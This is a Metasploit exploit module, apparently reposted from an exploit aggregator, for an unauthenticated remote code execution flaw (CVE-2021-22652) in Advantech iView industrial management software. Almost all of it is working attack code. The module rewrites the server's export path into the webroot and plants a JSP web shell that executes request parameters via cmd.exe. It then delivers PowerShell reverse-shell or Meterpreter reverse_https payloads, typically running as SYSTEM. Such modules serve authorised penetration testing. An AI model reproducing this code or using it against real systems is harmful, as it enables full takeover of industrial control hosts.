Share
## https://sploitus.com/exploit?id=PACKETSTORM:161937
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Advantech iView Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an unauthenticated configuration change combined  
with an unauthenticated file write primitive, leading to an arbitrary  
file write that allows for remote code execution as the user running  
iView, which is typically NT AUTHORITY\SYSTEM.  
  
This issue was demonstrated in the vulnerable version 5.7.02.5992 and  
fixed in version 5.7.03.6112.  
},  
'Author' => [  
'wvu', # Discovery and exploit  
'Spencer McIntyre' # Check, docs, and testing  
],  
'References' => [  
['CVE', '2021-22652'],  
['URL', 'https://blog.rapid7.com/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],  
['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']  
],  
'DisclosureDate' => '2021-02-09', # ICS-CERT advisory  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
}  
]  
],  
'DefaultTarget' => 2,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Application path', '/iView3'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'MenuServlet'),  
'vars_post' => {  
'page_action_type' => 'getMenuFragment',  
'page' => 'version.frag'  
}  
)  
return CheckCode::Unknown unless res&.code == 200  
  
version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')  
return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/  
  
version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"  
vprint_status("Identified the version as #{version}")  
return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')  
  
CheckCode::Appears  
end  
  
def exploit  
config = retrieve_config  
updated = update_config(config)  
write_jsp_stub  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
ensure  
restore_config(config) if config && updated  
end  
  
def retrieve_config  
print_status('Retrieving config')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),  
'vars_post' => {  
'page_action_type' => 'retrieveSystemSettings'  
}  
)  
  
unless res && res.code == 200 && (config = res.get_json_document.first)  
fail_with(Failure::NotFound, 'Failed to retrieve config')  
end  
  
print_good('Successfully retrieved config')  
vprint_line(JSON.pretty_generate(config))  
  
config  
end  
  
def update_config(config)  
print_status('Updating config')  
  
config = config.dup  
config['EXPORTPATH'] = 'webapps\\iView3\\'  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),  
'vars_post' => {  
'page_action_type' => 'updateSystemSettings',  
'json_obj' => config.to_json  
}  
)  
  
unless res && res.code == 200 && (config = res.get_json_document.first)  
fail_with(Failure::NotFound, 'Failed to retrieve updated config')  
end  
  
unless config['EXPORTPATH'] == 'webapps\\iView3\\'  
fail_with(Failure::NotVulnerable, 'Failed to update config')  
end  
  
print_good('Successfully updated config')  
vprint_line(JSON.pretty_generate(config))  
  
true  
end  
  
def write_jsp_stub  
print_status('Writing JSP stub')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),  
'vars_post' => {  
'page_action_type' => 'exportInventoryTable',  
'col_list' => "#{jsp_stub}-NULL",  
'sortname' => 'NULL',  
'sortorder' => '',  
'filename' => jsp_filename  
}  
)  
  
unless res && res.code == 200  
fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')  
end  
  
register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")  
  
print_good('Successfully wrote JSP stub')  
end  
  
def execute_command(cmd, _opts = {})  
cmd.prepend('cmd.exe /c ')  
  
print_status("Executing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, jsp_filename),  
'vars_post' => {  
jsp_param => cmd  
}  
)  
  
unless res && res.code == 200  
fail_with(Failure::PayloadFailed, 'Failed to execute command')  
end  
  
print_good('Successfully executed command')  
end  
  
def restore_config(config)  
print_status('Restoring config')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),  
'vars_post' => {  
'page_action_type' => 'updateSystemSettings',  
'json_obj' => config.to_json  
}  
)  
  
unless res && res.code == 200 && (config = res.get_json_document.first)  
fail_with(Failure::NotFound, 'Failed to retrieve restored config')  
end  
  
if config['EXPORTPATH'] == 'webapps\\iView3\\'  
fail_with(Failure::UnexpectedReply, 'Failed to restore config')  
end  
  
print_good('Successfully restored config')  
vprint_line(JSON.pretty_generate(config))  
end  
  
def jsp_stub  
%(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)  
end  
  
def jsp_param  
@jsp_param ||= rand_text_alphanumeric(8..42)  
end  
  
def jsp_filename  
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"  
end  
  
end